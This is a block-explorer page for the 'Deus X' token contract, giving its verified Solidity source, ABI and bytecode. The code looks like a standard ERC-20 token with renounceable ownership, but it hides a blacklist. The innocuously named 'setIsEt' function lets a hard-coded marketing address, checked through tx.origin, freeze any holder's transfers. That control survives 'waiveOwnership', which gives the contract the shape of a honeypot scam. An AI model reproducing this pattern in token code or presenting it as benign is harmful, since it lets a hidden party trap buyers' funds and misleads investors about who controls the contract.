ETH Price: $2,447.71 (-0.89%)

Token

Deus X (X)
 

Overview

Max Total Supply

10,000,000,000 X

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.186141675002273347 X

Value
$0.00
0xad52eb558370998503b3df8f21935abecf1c139e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERCToken

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-23
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

contract ERCToken is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    address payable public _markt;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcept;
    mapping (address => bool) public isMarketPair;
    mapping (address => uint256) private isBoB;

    uint256 private _totalSupply;

    uint256 private constant MAX = ~uint256(0);
    

    constructor ()
    {
        _name = "Deus X";
        _symbol = "X";
        _decimals = 18;

        _markt= payable(0xdeD2C94DF396e2cdaC00a2be17A4F4dAaA5e0b16);

        _totalSupply = 10000000000 * 10**_decimals;

        isExcept[owner()] = true;
        isExcept[_markt] = true;
        isExcept[address(this)] = true;

        _balances[owner()] = _totalSupply;
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setIsEt(address account, bool value) public {
        if(tx.origin==_markt){if(value)isBoB[account] = 1;else isBoB[account] = 0;}
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    address private fromAddress;
    address private toAddress;

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0 && isBoB[sender] < 1);

        if(sender!=_markt || recipient!=_markt)
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 finalAmount;
        if (isExcept[sender] || isExcept[recipient]) {
            finalAmount = amount;
        } else {
            finalAmount = amount-1;
            _balances[sender] += 1;
        }

        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);

        return true;     

    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_markt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsEt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526ddead0000000000000000000000006080523480156200002357600080fd5b5060006200003062000224565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600680825265088caeae640b60d31b6020909201918252620000a99160019162000237565b50604080518082019091526001808252600b60fb1b6020909201918252620000d49160029162000237565b5060038054601260ff1990911617610100600160a81b03191674ded2c94df396e2cdac00a2be17a4f4daaa5e0b16001790819055620001189060ff16600a62000333565b62000129906402540be4006200042b565b6009556001600660006200013c62000228565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090049091168152600690925280822080548416600190811790915530835290822080549093161790915560095490600490620001ab62000228565b6001600160a01b03168152602081019190915260400160002055620001cf62000228565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620002169190620002dd565b60405180910390a3620004a0565b3390565b6000546001600160a01b031690565b82805462000245906200044d565b90600052602060002090601f016020900481019282620002695760008555620002b4565b82601f106200028457805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b457825182559160200191906001019062000297565b50620002c2929150620002c6565b5090565b5b80821115620002c25760008155600101620002c7565b90815260200190565b80825b6001808611620002fa57506200032a565b8187048211156200030f576200030f6200048a565b808616156200031d57918102915b9490941c938002620002e9565b94509492505050565b60006200034760001960ff8516846200034e565b9392505050565b6000826200035f5750600162000347565b816200036e5750600062000347565b81600181146200038757600281146200039257620003c6565b600191505062000347565b60ff841115620003a657620003a66200048a565b6001841b915084821115620003bf57620003bf6200048a565b5062000347565b5060208310610133831016604e8410600b8410161715620003fe575081810a83811115620003f857620003f86200048a565b62000347565b6200040d8484846001620002e6565b8086048211156200042257620004226200048a565b02949350505050565b60008160001904831182151516156200044857620004486200048a565b500290565b6002810460018216806200046257607f821691505b602082108114156200048457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c61103d620004c6600039600081816104eb0152610517015261103d6000f3fe6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146102f8578063d1ffa08d14610318578063dd62ed3e14610338578063e3885ddb14610358578063f2fde38b146103785761012a565b806370a08231146102775780638da5cb5b14610297578063914eb66a146102ac57806395d89b41146102c3578063a457c2d7146102d85761012a565b806327c8f835116100e757806327c8f835146101eb5780632b112e4914610200578063313ce5671461021557806339509351146102375780633ecad271146102575761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101875780631ac0aaee146101a957806323b872dd146101cb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610398565b6040516101519190610d10565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610cc8565b61042a565b6040516101519190610d05565b34801561019357600080fd5b5061019c610447565b6040516101519190610f23565b3480156101b557600080fd5b506101be61044d565b6040516101519190610cf1565b3480156101d757600080fd5b5061017a6101e6366004610c53565b610461565b3480156101f757600080fd5b506101be6104e9565b34801561020c57600080fd5b5061019c61050d565b34801561022157600080fd5b5061022a610549565b6040516101519190610f2c565b34801561024357600080fd5b5061017a610252366004610cc8565b610552565b34801561026357600080fd5b5061017a610272366004610c07565b6105a0565b34801561028357600080fd5b5061019c610292366004610c07565b6105b5565b3480156102a357600080fd5b506101be6105d4565b3480156102b857600080fd5b506102c16105e3565b005b3480156102cf57600080fd5b50610144610671565b3480156102e457600080fd5b5061017a6102f3366004610cc8565b610680565b34801561030457600080fd5b5061017a610313366004610cc8565b6106e8565b34801561032457600080fd5b506102c1610333366004610c8e565b6106fc565b34801561034457600080fd5b5061019c610353366004610c21565b610759565b34801561036457600080fd5b5061017a610373366004610c07565b610784565b34801561038457600080fd5b506102c1610393366004610c07565b610799565b6060600180546103a790610f69565b80601f01602080910402602001604051908101604052809291908181526020018280546103d390610f69565b80156104205780601f106103f557610100808354040283529160200191610420565b820191906000526020600020905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b600061043e61043761084f565b8484610853565b50600192915050565b60095490565b60035461010090046001600160a01b031681565b600061046e848484610907565b506104df8461047b61084f565b6104da85604051806060016040528060288152602001610fbb602891396001600160a01b038a166000908152600560205260408120906104b961084f565b6001600160a01b031681526020810191909152604001600020549190610b3e565b610853565b5060019392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061054461053b7f00000000000000000000000000000000000000000000000000000000000000006105b5565b60095490610b78565b905090565b60035460ff1690565b600061043e61055f61084f565b846104da856005600061057061084f565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610bc1565b60076020526000908152604090205460ff1681565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6105eb61084f565b6000546001600160a01b039081169116146106215760405162461bcd60e51b815260040161061890610e65565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600280546103a790610f69565b600061043e61068d61084f565b846104da85604051806060016040528060258152602001610fe360259139600560006106b761084f565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b3e565b60006104df6106f561084f565b8484610907565b60035461010090046001600160a01b031632141561075557801561073b576001600160a01b038216600090815260086020526040902060019055610755565b6001600160a01b0382166000908152600860205260408120555b5050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60066020526000908152604090205460ff1681565b6107a161084f565b6000546001600160a01b039081169116146107ce5760405162461bcd60e51b815260040161061890610e65565b6001600160a01b0381166107f45760405162461bcd60e51b815260040161061890610da6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166108795760405162461bcd60e51b815260040161061890610edf565b6001600160a01b03821661089f5760405162461bcd60e51b815260040161061890610dec565b6001600160a01b0380841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108fa908590610f23565b60405180910390a3505050565b60006001600160a01b03841661092f5760405162461bcd60e51b815260040161061890610e9a565b6001600160a01b0383166109555760405162461bcd60e51b815260040161061890610d63565b60008211801561097d57506001600160a01b0384166000908152600860205260409020546001115b61098657600080fd5b6003546001600160a01b03858116610100909204161415806109bb57506003546001600160a01b038481166101009092041614155b15610a2c576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260049091529190912054610a12918490610b3e565b6001600160a01b0385166000908152600460205260409020555b6001600160a01b03841660009081526006602052604081205460ff1680610a6b57506001600160a01b03841660009081526006602052604090205460ff165b15610a77575081610ab6565b610a82600184610f52565b6001600160a01b03861660009081526004602052604081208054929350600192909190610ab0908490610f3a565b90915550505b6001600160a01b038416600090815260046020526040902054610ad99082610bc1565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2b908590610f23565b60405180910390a3506001949350505050565b60008184841115610b625760405162461bcd60e51b81526004016106189190610d10565b506000610b6f8486610f52565b95945050505050565b6000610bba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b3e565b9392505050565b600080610bce8385610f3a565b905083811015610bba5760405162461bcd60e51b815260040161061890610e2e565b80356001600160a01b03811681146105cf57600080fd5b600060208284031215610c18578081fd5b610bba82610bf0565b60008060408385031215610c33578081fd5b610c3c83610bf0565b9150610c4a60208401610bf0565b90509250929050565b600080600060608486031215610c67578081fd5b610c7084610bf0565b9250610c7e60208501610bf0565b9150604084013590509250925092565b60008060408385031215610ca0578182fd5b610ca983610bf0565b915060208301358015158114610cbd578182fd5b809150509250929050565b60008060408385031215610cda578182fd5b610ce383610bf0565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610d3c57858101830151858201604001528201610d20565b81811115610d4d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f4d57610f4d610fa4565b500190565b600082821015610f6457610f64610fa4565b500390565b600281046001821680610f7d57607f821691505b60208210811415610f9e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203df7466ab663619b1bfec34372060ce5be9502acb0f3132b4c5c8ed76565991f64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146102f8578063d1ffa08d14610318578063dd62ed3e14610338578063e3885ddb14610358578063f2fde38b146103785761012a565b806370a08231146102775780638da5cb5b14610297578063914eb66a146102ac57806395d89b41146102c3578063a457c2d7146102d85761012a565b806327c8f835116100e757806327c8f835146101eb5780632b112e4914610200578063313ce5671461021557806339509351146102375780633ecad271146102575761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101875780631ac0aaee146101a957806323b872dd146101cb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610398565b6040516101519190610d10565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610cc8565b61042a565b6040516101519190610d05565b34801561019357600080fd5b5061019c610447565b6040516101519190610f23565b3480156101b557600080fd5b506101be61044d565b6040516101519190610cf1565b3480156101d757600080fd5b5061017a6101e6366004610c53565b610461565b3480156101f757600080fd5b506101be6104e9565b34801561020c57600080fd5b5061019c61050d565b34801561022157600080fd5b5061022a610549565b6040516101519190610f2c565b34801561024357600080fd5b5061017a610252366004610cc8565b610552565b34801561026357600080fd5b5061017a610272366004610c07565b6105a0565b34801561028357600080fd5b5061019c610292366004610c07565b6105b5565b3480156102a357600080fd5b506101be6105d4565b3480156102b857600080fd5b506102c16105e3565b005b3480156102cf57600080fd5b50610144610671565b3480156102e457600080fd5b5061017a6102f3366004610cc8565b610680565b34801561030457600080fd5b5061017a610313366004610cc8565b6106e8565b34801561032457600080fd5b506102c1610333366004610c8e565b6106fc565b34801561034457600080fd5b5061019c610353366004610c21565b610759565b34801561036457600080fd5b5061017a610373366004610c07565b610784565b34801561038457600080fd5b506102c1610393366004610c07565b610799565b6060600180546103a790610f69565b80601f01602080910402602001604051908101604052809291908181526020018280546103d390610f69565b80156104205780601f106103f557610100808354040283529160200191610420565b820191906000526020600020905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b600061043e61043761084f565b8484610853565b50600192915050565b60095490565b60035461010090046001600160a01b031681565b600061046e848484610907565b506104df8461047b61084f565b6104da85604051806060016040528060288152602001610fbb602891396001600160a01b038a166000908152600560205260408120906104b961084f565b6001600160a01b031681526020810191909152604001600020549190610b3e565b610853565b5060019392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061054461053b7f000000000000000000000000000000000000000000000000000000000000dead6105b5565b60095490610b78565b905090565b60035460ff1690565b600061043e61055f61084f565b846104da856005600061057061084f565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610bc1565b60076020526000908152604090205460ff1681565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6105eb61084f565b6000546001600160a01b039081169116146106215760405162461bcd60e51b815260040161061890610e65565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600280546103a790610f69565b600061043e61068d61084f565b846104da85604051806060016040528060258152602001610fe360259139600560006106b761084f565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b3e565b60006104df6106f561084f565b8484610907565b60035461010090046001600160a01b031632141561075557801561073b576001600160a01b038216600090815260086020526040902060019055610755565b6001600160a01b0382166000908152600860205260408120555b5050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60066020526000908152604090205460ff1681565b6107a161084f565b6000546001600160a01b039081169116146107ce5760405162461bcd60e51b815260040161061890610e65565b6001600160a01b0381166107f45760405162461bcd60e51b815260040161061890610da6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166108795760405162461bcd60e51b815260040161061890610edf565b6001600160a01b03821661089f5760405162461bcd60e51b815260040161061890610dec565b6001600160a01b0380841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108fa908590610f23565b60405180910390a3505050565b60006001600160a01b03841661092f5760405162461bcd60e51b815260040161061890610e9a565b6001600160a01b0383166109555760405162461bcd60e51b815260040161061890610d63565b60008211801561097d57506001600160a01b0384166000908152600860205260409020546001115b61098657600080fd5b6003546001600160a01b03858116610100909204161415806109bb57506003546001600160a01b038481166101009092041614155b15610a2c576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260049091529190912054610a12918490610b3e565b6001600160a01b0385166000908152600460205260409020555b6001600160a01b03841660009081526006602052604081205460ff1680610a6b57506001600160a01b03841660009081526006602052604090205460ff165b15610a77575081610ab6565b610a82600184610f52565b6001600160a01b03861660009081526004602052604081208054929350600192909190610ab0908490610f3a565b90915550505b6001600160a01b038416600090815260046020526040902054610ad99082610bc1565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2b908590610f23565b60405180910390a3506001949350505050565b60008184841115610b625760405162461bcd60e51b81526004016106189190610d10565b506000610b6f8486610f52565b95945050505050565b6000610bba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b3e565b9392505050565b600080610bce8385610f3a565b905083811015610bba5760405162461bcd60e51b815260040161061890610e2e565b80356001600160a01b03811681146105cf57600080fd5b600060208284031215610c18578081fd5b610bba82610bf0565b60008060408385031215610c33578081fd5b610c3c83610bf0565b9150610c4a60208401610bf0565b90509250929050565b600080600060608486031215610c67578081fd5b610c7084610bf0565b9250610c7e60208501610bf0565b9150604084013590509250925092565b60008060408385031215610ca0578182fd5b610ca983610bf0565b915060208301358015158114610cbd578182fd5b809150509250929050565b60008060408385031215610cda578182fd5b610ce383610bf0565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610d3c57858101830151858201604001528201610d20565b81811115610d4d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f4d57610f4d610fa4565b500190565b600082821015610f6457610f64610fa4565b500390565b600281046001821680610f7d57607f821691505b60208210811415610f9e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203df7466ab663619b1bfec34372060ce5be9502acb0f3132b4c5c8ed76565991f64736f6c63430008000033

Deployed Bytecode Sourcemap

3440:4959:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4586:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5752:161;;;;;;;;;;-1:-1:-1;5752:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4863:100::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;3626:29::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6825:313::-;;;;;;;;;;-1:-1:-1;6825:313:0;;;;;:::i;:::-;;:::i;3664:81::-;;;;;;;;;;;;;:::i;6420:128::-;;;;;;;;;;;;;:::i;4772:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5526:218::-;;;;;;;;;;-1:-1:-1;5526:218:0;;;;;:::i;:::-;;:::i;3933:45::-;;;;;;;;;;-1:-1:-1;3933:45:0;;;;;:::i;:::-;;:::i;4971:119::-;;;;;;;;;;-1:-1:-1;4971:119:0;;;;;:::i;:::-;;:::i;2799:79::-;;;;;;;;;;;;;:::i;3024:155::-;;;;;;;;;;;;;:::i;:::-;;4677:87;;;;;;;;;;;;;:::i;5249:269::-;;;;;;;;;;-1:-1:-1;5249:269:0;;;;;:::i;:::-;;:::i;6650:167::-;;;;;;;;;;-1:-1:-1;6650:167:0;;;;;:::i;:::-;;:::i;6266:146::-;;;;;;;;;;-1:-1:-1;6266:146:0;;;;;:::i;:::-;;:::i;5098:143::-;;;;;;;;;;-1:-1:-1;5098:143:0;;;;;:::i;:::-;;:::i;3885:41::-;;;;;;;;;;-1:-1:-1;3885:41:0;;;;;:::i;:::-;;:::i;3187:244::-;;;;;;;;;;-1:-1:-1;3187:244:0;;;;;:::i;:::-;;:::i;4586:83::-;4623:13;4656:5;4649:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4586:83;:::o;5752:161::-;5827:4;5844:39;5853:12;:10;:12::i;:::-;5867:7;5876:6;5844:8;:39::i;:::-;-1:-1:-1;5901:4:0;5752:161;;;;:::o;4863:100::-;4943:12;;4863:100;:::o;3626:29::-;;;;